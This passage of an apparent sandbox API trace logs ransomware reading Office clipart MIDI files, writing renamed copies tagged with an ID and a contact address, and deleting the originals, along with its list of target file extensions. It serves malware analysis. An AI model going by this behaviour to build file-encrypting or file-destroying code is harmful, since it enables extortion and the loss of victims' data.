Office\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 63 [0271.850] lstrlenW (lpString=".jpg") returned 4 [0271.850] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0271.850] lstrcmpiW (lpString1=".MID", lpString2=".html") returned 1 [0271.850] lstrlenW (lpString="PARNT_08.MID") returned 12 [0271.850] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_08.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0271.851] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2bfff1c | out: lpFileSize=0x2bfff1c*=7347) returned 1 [0271.851] CloseHandle (hObject=0x388) returned 1 [0271.851] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_08.mid")) returned 0x20 [0271.851] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_08.mid.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0271.851] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_08.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0271.851] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec8 | out: lpNewFilePointer=0x0) returned 1 [0271.851] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec8 | out: lpNewFilePointer=0x0) returned 1 [0271.851] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_08.mid.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0271.852] GetLastError () returned 0x0 [0271.852] ReadFile (in: hFile=0x388, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2bffed4*=0x1cb3, lpOverlapped=0x0) returned 1 [0271.856] WriteFile (in: hFile=0x2f8, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0x1cc0, lpNumberOfBytesWritten=0x2bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2bffc9c*=0x1cc0, lpOverlapped=0x0) returned 1 [0271.856] ReadFile (in: hFile=0x388, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2bffed4*=0x0, lpOverlapped=0x0) returned 1 [0271.856] WriteFile (in: hFile=0x2f8, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2bffc9c*=0xec, lpOverlapped=0x0) returned 1 [0271.856] SetEndOfFile (hFile=0x2f8) returned 1 [0271.856] CloseHandle (hObject=0x2f8) returned 1 [0271.856] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec8 | out: lpNewFilePointer=0x0) returned 1 [0271.857] SetEndOfFile (hFile=0x388) returned 1 [0271.859] CloseHandle (hObject=0x388) returned 1 [0271.859] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0271.859] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_08.mid")) returned 1 [0271.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 63 [0271.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 63 [0271.859] lstrlenW (lpString=".doc") returned 4 [0271.859] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0271.859] lstrlenW (lpString=".docx") returned 5 [0271.859] lstrcmpiW (lpString1=".docx", lpString2="8.MID") returned -1 [0271.859] lstrlenW (lpString=".pdf") returned 4 [0271.860] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0271.860] lstrlenW (lpString=".xls") returned 4 [0271.860] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0271.860] lstrlenW (lpString=".xlsx") returned 5 [0271.860] lstrcmpiW (lpString1=".xlsx", lpString2="8.MID") returned -1 [0271.860] lstrlenW (lpString=".ppt") returned 4 [0271.860] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0271.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 63 [0271.860] lstrlenW (lpString=".zip") returned 4 [0271.860] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0271.860] lstrlenW (lpString=".rar") returned 4 [0271.860] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0271.860] lstrlenW (lpString=".bz2") returned 4 [0271.860] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0271.860] lstrlenW (lpString=".7z") returned 3 [0271.860] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0271.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 63 [0271.860] lstrlenW (lpString=".dbf") returned 4 [0271.861] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0271.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 63 [0271.861] lstrlenW (lpString=".1cd") returned 4 [0271.861] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0271.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 63 [0271.861] lstrlenW (lpString=".jpg") returned 4 [0271.861] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0271.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 63 [0271.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 63 [0271.861] lstrlenW (lpString=".doc") returned 4 [0271.861] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0271.861] lstrlenW (lpString=".docx") returned 5 [0271.861] lstrcmpiW (lpString1=".docx", lpString2="8.MID") returned -1 [0271.861] lstrlenW (lpString=".pdf") returned 4 [0271.861] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0271.861] lstrlenW (lpString=".xls") returned 4 [0271.861] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0271.861] lstrlenW (lpString=".xlsx") returned 5 [0271.861] lstrcmpiW (lpString1=".xlsx", lpString2="8.MID") returned -1 [0271.861] lstrlenW (lpString=".ppt") returned 4 [0271.861] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0271.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 63 [0271.861] lstrlenW (lpString=".zip") returned 4 [0271.861] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0271.862] lstrlenW (lpString=".rar") returned 4 [0271.862] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0271.862] lstrlenW (lpString=".bz2") returned 4 [0271.862] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0271.862] lstrlenW (lpString=".7z") returned 3 [0271.862] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0271.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 63 [0271.862] lstrlenW (lpString=".dbf") returned 4 [0271.862] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0271.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 63 [0271.862] lstrlenW (lpString=".1cd") returned 4 [0271.862] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0271.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 63 [0271.862] lstrlenW (lpString=".jpg") returned 4 [0271.862] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0271.862] lstrcmpiW (lpString1=".MID", lpString2=".html") returned 1 [0271.862] lstrlenW (lpString="PARNT_09.MID") returned 12 [0271.862] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_09.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0271.862] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2bfff1c | out: lpFileSize=0x2bfff1c*=6764) returned 1 [0271.862] CloseHandle (hObject=0x388) returned 1 [0271.862] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_09.mid")) returned 0x20 [0271.863] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_09.mid.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0271.863] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_09.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0271.863] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec8 | out: lpNewFilePointer=0x0) returned 1 [0271.863] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec8 | out: lpNewFilePointer=0x0) returned 1 [0271.863] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_09.mid.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0271.863] GetLastError () returned 0x0 [0271.863] ReadFile (in: hFile=0x388, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2bffed4*=0x1a6c, lpOverlapped=0x0) returned 1 [0271.865] WriteFile (in: hFile=0x2f8, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0x1a70, lpNumberOfBytesWritten=0x2bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2bffc9c*=0x1a70, lpOverlapped=0x0) returned 1 [0271.866] ReadFile (in: hFile=0x388, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2bffed4*=0x0, lpOverlapped=0x0) returned 1 [0271.866] WriteFile (in: hFile=0x2f8, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2bffc9c*=0xec, lpOverlapped=0x0) returned 1 [0271.866] SetEndOfFile (hFile=0x2f8) returned 1 [0271.866] CloseHandle (hObject=0x2f8) returned 1 [0271.866] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec8 | out: lpNewFilePointer=0x0) returned 1 [0271.866] SetEndOfFile (hFile=0x388) returned 1 [0272.115] CloseHandle (hObject=0x388) returned 1 [0272.115] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0272.138] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_09.mid")) returned 1 [0272.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 63 [0272.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 63 [0272.141] lstrlenW (lpString=".doc") returned 4 [0272.141] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0272.142] lstrlenW (lpString=".docx") returned 5 [0272.142] lstrcmpiW (lpString1=".docx", lpString2="9.MID") returned -1 [0272.142] lstrlenW (lpString=".pdf") returned 4 [0272.142] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0272.142] lstrlenW (lpString=".xls") returned 4 [0272.142] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0272.142] lstrlenW (lpString=".xlsx") returned 5 [0272.142] lstrcmpiW (lpString1=".xlsx", lpString2="9.MID") returned -1 [0272.142] lstrlenW (lpString=".ppt") returned 4 [0272.142] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0272.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 63 [0272.142] lstrlenW (lpString=".zip") returned 4 [0272.142] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0272.142] lstrlenW (lpString=".rar") returned 4 [0272.142] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0272.142] lstrlenW (lpString=".bz2") returned 4 [0272.142] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0272.142] lstrlenW (lpString=".7z") returned 3 [0272.142] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0272.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 63 [0272.142] lstrlenW (lpString=".dbf") returned 4 [0272.142] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0272.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 63 [0272.142] lstrlenW (lpString=".1cd") returned 4 [0272.142] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0272.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 63 [0272.142] lstrlenW (lpString=".jpg") returned 4 [0272.142] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0272.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 63 [0272.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 63 [0272.142] lstrlenW (lpString=".doc") returned 4 [0272.143] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0272.143] lstrlenW (lpString=".docx") returned 5 [0272.143] lstrcmpiW (lpString1=".docx", lpString2="9.MID") returned -1 [0272.143] lstrlenW (lpString=".pdf") returned 4 [0272.143] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0272.143] lstrlenW (lpString=".xls") returned 4 [0272.143] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0272.143] lstrlenW (lpString=".xlsx") returned 5 [0272.143] lstrcmpiW (lpString1=".xlsx", lpString2="9.MID") returned -1 [0272.143] lstrlenW (lpString=".ppt") returned 4 [0272.143] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0272.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 63 [0272.143] lstrlenW (lpString=".zip") returned 4 [0272.143] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0272.143] lstrlenW (lpString=".rar") returned 4 [0272.143] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0272.143] lstrlenW (lpString=".bz2") returned 4 [0272.143] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0272.143] lstrlenW (lpString=".7z") returned 3 [0272.143] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0272.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 63 [0272.143] lstrlenW (lpString=".dbf") returned 4 [0272.143] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0272.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 63 [0272.143] lstrlenW (lpString=".1cd") returned 4 [0272.143] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0272.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 63 [0272.143] lstrlenW (lpString=".jpg") returned 4 [0272.143] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0272.144] lstrcmpiW (lpString1=".MID", lpString2=".html") returned 1 [0272.144] lstrlenW (lpString="SPRNG_01.MID") returned 12 [0272.144] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sprng_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0272.144] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2bfff1c | out: lpFileSize=0x2bfff1c*=6700) returned 1 [0272.144] CloseHandle (hObject=0x37c) returned 1 [0272.144] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sprng_01.mid")) returned 0x20 [0272.144] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sprng_01.mid.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0272.144] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sprng_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0272.144] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec8 | out: lpNewFilePointer=0x0) returned 1 [0272.144] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec8 | out: lpNewFilePointer=0x0) returned 1 [0272.144] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sprng_01.mid.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0272.145] GetLastError () returned 0x0 [0272.145] ReadFile (in: hFile=0x37c, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2bffed4*=0x1a2c, lpOverlapped=0x0) returned 1 [0272.146] WriteFile (in: hFile=0x388, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0x1a30, lpNumberOfBytesWritten=0x2bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2bffc9c*=0x1a30, lpOverlapped=0x0) returned 1 [0272.147] ReadFile (in: hFile=0x37c, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2bffed4*=0x0, lpOverlapped=0x0) returned 1 [0272.147] WriteFile (in: hFile=0x388, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2bffc9c*=0xec, lpOverlapped=0x0) returned 1 [0272.147] SetEndOfFile (hFile=0x388) returned 1 [0272.147] CloseHandle (hObject=0x388) returned 1 [0272.147] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec8 | out: lpNewFilePointer=0x0) returned 1 [0272.147] SetEndOfFile (hFile=0x37c) returned 1 [0272.149] CloseHandle (hObject=0x37c) returned 1 [0272.149] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0272.150] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sprng_01.mid")) returned 1 [0272.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 63 [0272.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 63 [0272.150] lstrlenW (lpString=".doc") returned 4 [0272.150] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0272.150] lstrlenW (lpString=".docx") returned 5 [0272.150] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0272.150] lstrlenW (lpString=".pdf") returned 4 [0272.150] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0272.150] lstrlenW (lpString=".xls") returned 4 [0272.150] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0272.150] lstrlenW (lpString=".xlsx") returned 5 [0272.150] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0272.150] lstrlenW (lpString=".ppt") returned 4 [0272.150] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0272.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 63 [0272.151] lstrlenW (lpString=".zip") returned 4 [0272.151] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0272.151] lstrlenW (lpString=".rar") returned 4 [0272.151] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0272.151] lstrlenW (lpString=".bz2") returned 4 [0272.151] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0272.151] lstrlenW (lpString=".7z") returned 3 [0272.151] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0272.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 63 [0272.151] lstrlenW (lpString=".dbf") returned 4 [0272.151] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0272.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 63 [0272.151] lstrlenW (lpString=".1cd") returned 4 [0272.151] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0272.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 63 [0272.151] lstrlenW (lpString=".jpg") returned 4 [0272.151] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0272.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 63 [0272.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 63 [0272.151] lstrlenW (lpString=".doc") returned 4 [0272.151] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0272.151] lstrlenW (lpString=".docx") returned 5 [0272.151] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0272.151] lstrlenW (lpString=".pdf") returned 4 [0272.151] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0272.151] lstrlenW (lpString=".xls") returned 4 [0272.151] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0272.151] lstrlenW (lpString=".xlsx") returned 5 [0272.151] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0272.151] lstrlenW (lpString=".ppt") returned 4 [0272.152] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0272.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 63 [0272.152] lstrlenW (lpString=".zip") returned 4 [0272.152] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0272.152] lstrlenW (lpString=".rar") returned 4 [0272.152] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0272.152] lstrlenW (lpString=".bz2") returned 4 [0272.152] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0272.152] lstrlenW (lpString=".7z") returned 3 [0272.152] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0272.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 63 [0272.152] lstrlenW (lpString=".dbf") returned 4 [0272.152] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0272.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 63 [0272.152] lstrlenW (lpString=".1cd") returned 4 [0272.152] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0272.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 63 [0272.152] lstrlenW (lpString=".jpg") returned 4 [0272.152] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0272.152] lstrcmpiW (lpString1=".MID", lpString2=".html") returned 1 [0272.152] lstrlenW (lpString="SUMER_01.MID") returned 12 [0272.152] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sumer_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0272.153] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2bfff1c | out: lpFileSize=0x2bfff1c*=14044) returned 1 [0272.153] CloseHandle (hObject=0x37c) returned 1 [0272.153] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID" 